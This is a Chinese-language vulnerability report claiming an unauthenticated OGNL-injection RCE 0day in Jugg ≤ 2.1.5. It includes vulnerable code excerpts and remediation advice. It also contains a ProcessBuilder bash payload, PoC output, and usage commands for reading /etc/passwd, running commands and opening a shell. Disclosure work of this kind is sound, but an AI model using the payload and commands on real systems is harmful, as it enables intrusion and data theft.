漏洞概述
| 属性 |
描述 |
| 漏洞类型 |
OGNL/MVEL 表达式注入 → RCE (远程代码执行) |
| 攻击向量 |
WebSocket (ws://host:10010/ws) |
| 前置条件 |
无需认证,任何人可直接连接 |
| 影响范围 |
文件读取、任意命令执行 (RCE,以服务进程权限运行) |
| 利用难度 |
低 |
| 危害等级 |
严重 (Critical) — CVSS 10.0 |
| 影响版本 |
jugg ≤ 2.1.5 (最新版) |
| 漏洞状态 |
TRUE 0day — 无任何CVE/CNVD/GHSA编号,无公开PoC |
漏洞详情
根因分析
JuggEvalHandler.handle() 方法无条件将用户输入的 WebSocket 消息作为 OGNL 表达式执行,攻击者无需任何认证即可通过构造恶意 OGNL 表达式调用任意 Java 方法,最终实现远程代码执行(RCE)。
关键代码
漏洞入口 — JuggEvalHandler.java 第 25-27 行:
1 2 3 4 5 6 7 8 9 10 11
| @Override public void handle(CommandContext context) { String result = firstNonNull( getJsonLimited( evalKiller.eval(context.getCommand(), context.getJuggUser().getUsername()), "null") ); context.setResult(result); }
|
OGNL 直接求值 — JuggOgnlEvalKiller.java 第 44-52 行:
1 2 3 4 5 6 7 8 9 10 11
| @Override public Object eval(String command, String username) { try { return Ognl.getValue(command, globalContext, getContext(username)); } catch (OgnlException e) { throw new RuntimeException(firstNonNull(e.getReason(), e)); } }
|
无任何安全沙箱 — JuggOgnlContext.java:
1 2 3 4
| public class JuggOgnlContext extends OgnlContext { }
|
Handler 链无前置保护 — 所有输入最终落入 JuggEvalHandler:
1 2 3 4 5 6 7 8
| List<IJuggInterceptor> handlers = Lists.newArrayList( context -> logger.info(...), new JuggInsightHandler(null, evalKiller), new JuggHistoryHandler(evalKiller), new JuggPreloadHandler(evalKiller, ...), new JuggEvalHandler(evalKiller), context -> logger.info(...) );
|
认证缺失
WebSocket 连接建立时没有任何认证机制,直接创建空用户对象:
1 2 3 4 5 6
| @Override public void channelActive(ChannelHandlerContext context) { Channel incoming = context.channel(); userMap.put(incoming, new JuggUser()); incoming.writeAndFlush(new TextWebSocketFrame("[system] active.")); }
|
POC 验证
验证环境
| 项目 |
值 |
| Jugg 版本 |
2.1.5 (latest) |
| OGNL 版本 |
3.2.10 |
| Java 版本 |
OpenJDK 21 |
| 目标系统 |
Kali Linux 2026 |
| PoC 脚本 |
/root/jugg_poc.py |
✅ RCE 验证(文件读取)
1 2 3 4 5
| $ python jugg_poc.py localhost -f /etc/hostname
[+] 已连接: ws://localhost:10010/ws [+] 读取文件: /etc/hostname "kali"
|
✅ RCE 验证(命令执行)
1 2 3 4 5
| $ python jugg_poc.py localhost -c "whoami"
[+] 已连接: ws://localhost:10010/ws [+] 执行命令: whoami root
|
RCE Payload 原理
1 2 3 4 5
| new java.lang.ProcessBuilder( new java.lang.String[]{"/bin/bash","-c", "id > /tmp/jugg_rce_out 2>&1"} ).start().getClass()
|
受影响代码文件总览
| # |
文件路径 |
行号 |
漏洞描述 |
| 1 |
JuggEvalHandler.java |
25-27 |
无过滤直接执行用户 OGNL 表达式 |
| 2 |
TextWebSocketFrameHandler.java |
71-81 |
Handler 链无条件执行 |
| 3 |
JuggConfiglessServer.java |
43-50 |
JuggEvalHandler 无前置保护 |
| 4 |
JuggOgnlEvalKiller.java |
44-52 |
Ognl.getValue() 直接求值 |
| 5 |
JuggOgnlContext.java |
1-60 |
无沙箱/安全上下文 |
| 6 |
pom.xml |
247-248 |
OGNL 版本 3.2.10 |
| 7 |
TextWebSocketFrameHandler.java |
92-99 |
WebSocket 连接无认证 |
| 8 |
TextWebSocketFrameHandler.java |
111-112 |
JuggUser 创建无身份验证 |
潜在影响
- 完全服务器沦陷:攻击者可执行任意系统命令(以 root 权限)
- 数据泄露:读取任意文件(数据库配置、SSH 密钥、源代码)
- 内网渗透跳板:在已部署 Jugg 的内网服务器上立足,横向移动
- 持久化:写入 SSH 公钥、创建后门账号
- 挖矿/勒索:攻击者可在服务器上运行任意程序
修复建议
紧急修复(立即实施)
1. 在 JuggEvalHandler 前添加命令前缀检查
1 2 3 4 5
| if (!command.startsWith("eval ")) { return; } command = command.substring(5);
|
2. 启用 WebSocket 认证
1 2
| handlers.add(0, new JuggLoginHandler(...));
|
3. 升级 OGNL 依赖版本
1 2 3 4 5
| <dependency> <groupId>ognl</groupId> <artifactId>ognl</artifactId> <version>3.3.4</version> </dependency>
|
4. 添加安全沙箱:使用 OGNL 安全模式 + SecurityManager
PoC 使用说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| pip install websockets
python jugg_poc.py <target> -p 10010 --info
python jugg_poc.py <target> -p 10010 -f /etc/passwd
python jugg_poc.py <target> -p 10010 -c "whoami"
python jugg_poc.py <target> -p 10010 --shell
|
报告生成时间: 2026-05-13
测试环境: Kali Linux 2026 + OpenJDK 21 + Jugg 2.1.5
漏洞状态: TRUE 0day — 未公开、无CVE/CNVD/GHSA编号
PoC 路径: /root/jugg_poc.py